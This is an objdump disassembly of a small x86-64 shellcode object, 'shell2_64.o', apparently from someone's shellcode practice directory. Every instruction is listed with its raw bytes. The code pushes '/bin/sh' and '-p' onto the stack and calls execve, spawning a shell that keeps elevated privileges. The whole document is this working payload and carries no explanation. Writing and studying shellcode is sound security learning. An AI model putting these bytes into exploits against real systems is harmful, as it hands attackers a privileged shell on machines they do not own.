shell2_64_disassembly

[howard@sterling shellcodes]$ objdump -Dz obj/shell2_64.o 

obj/shell2_64.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <_start>:
   0:    55                       push   %rbp
   1:    48 89 e5                 mov    %rsp,%rbp
   4:    4d 31 c0                 xor    %r8,%r8
   7:    66 41 b8 2d 70           mov    $0x702d,%r8w
   c:    41 50                    push   %r8
   e:    49 89 e1                 mov    %rsp,%r9
  11:    49 b8 2f 62 69 6e 2f     movabs $0x4168732f6e69622f,%r8
  18:    73 68 41 
  1b:    49 c1 e0 08              shl    $0x8,%r8
  1f:    49 c1 e8 08              shr    $0x8,%r8
  23:    41 50                    push   %r8
  25:    48 89 e7                 mov    %rsp,%rdi
  28:    4d 31 c0                 xor    %r8,%r8
  2b:    41 50                    push   %r8
  2d:    41 51                    push   %r9
  2f:    57                       push   %rdi
  30:    48 89 e6                 mov    %rsp,%rsi
  33:    48 31 d2                 xor    %rdx,%rdx
  36:    48 31 c0                 xor    %rax,%rax
  39:    b0 3b                    mov    $0x3b,%al
  3b:    0f 05                    syscall 
  3d:    48 83 c4 28              add    $0x28,%rsp
  41:    5d                       pop    %rbp
  42:    c3                       retq